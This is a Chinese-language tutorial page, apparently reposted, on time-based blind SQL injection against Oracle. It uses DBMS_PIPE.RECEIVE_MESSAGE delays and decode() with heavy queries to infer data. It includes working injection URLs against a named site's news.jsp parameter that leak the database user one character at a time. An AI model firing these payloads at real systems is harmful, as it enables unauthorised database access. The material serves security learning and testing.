Oracle基于延时的盲注总结 | 您所在的位置:网站首页 › sqlserver延时函数 › Oracle基于延时的盲注总结 |
0x00 前言
oracle注入中可以通过页面响应的状态,这里指的是响应时间,通过这种方式判断SQL是否被执行的方式,便是时间盲注;
oracle的时间盲注通常使用DBMS_PIPE.RECEIVE_MESSAGE(),而另外一种便是decode()与高耗时SQL操作的组合,当然也可以是case,if 等方式与高耗时操作的组合,这里的高耗时操作指的是,例如:(select count(*) from all_objects),对数据库中大量数据进行查询或其他处理的操作,这样的操作会耗费较多的时间,然后通过这个方式来获取数据。这种方式也适用于其他数据库。
0x01 DBMS_PIPE.RECEIVE_MESSAGE()函数延时盲注 DBMS_LOCK.SLEEP()函数可以让一个过程休眠很多秒,但使用该函数存在许多限制。 首先,不能直接将该函数注入子查询中,因为Oracle不支持堆叠查询(stacked query)。其次,只有数据库管理员才能使用DBMS_LOCK包。 在Oracle PL/SQL中有一种更好的办法,可以使用下面的指令以内联方式注入延迟: dbms_pipe.receive_message('RDS', 10)DBMS_PIPE.RECEIVE_MESSAGE函数将为从RDS管道返回的数据等待10秒。默认情况下,允许以public权限执行该包。DBMS_LOCK.SLEEP()与之相反,它是一个可以用在SQL语句中的函数。 延迟盲注中的应用: http://www.jsporcle.com/news.jsp?id=-1 or 1= dbms_pipe.receive_message('RDS', 10)-- http://www.jsporcle.com/news.jsp?id=1 and 1=dbms_pipe.receive_message('RDS', 10)--如果页面延时10秒返回,即存在注入。 来自官网的DBMS_PIPE.RECEIVE_MESSAGE语法: DBMS_PIPE.RECEIVE_MESSAGE ( pipename IN VARCHAR2, timeout IN INTEGER DEFAULT maxwait) RETURN INTEGER; 可以暂时理解成DBMS_PIPE.RECEIVE_MESSAGE('任意值',延迟时间) 0x02 decode函数延时盲注 decode不仅可以在布尔盲注中运用,也可以用在延迟盲注中。 在decode注入里加入延时语句。这里加入了我们的dbms_pipe.receive_message函数。 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',10),0) from dual) -- http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',5),0) from dual) --
当然,这里延迟的操作不一定用延迟函数,也可以使用花费更多时间去查询所有数据库的条目。例如: (select count(*) from all_objects) http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) and '1'='1'通过这种明显时间差也能判断注入表达式的结果。 静有所思,思有所想 ------------------------------------------------------------------------------------ mail: [email protected] |
今日新闻 |
推荐新闻 |
专题文章 |
CopyRight 2018-2019 实验室设备网 版权所有 |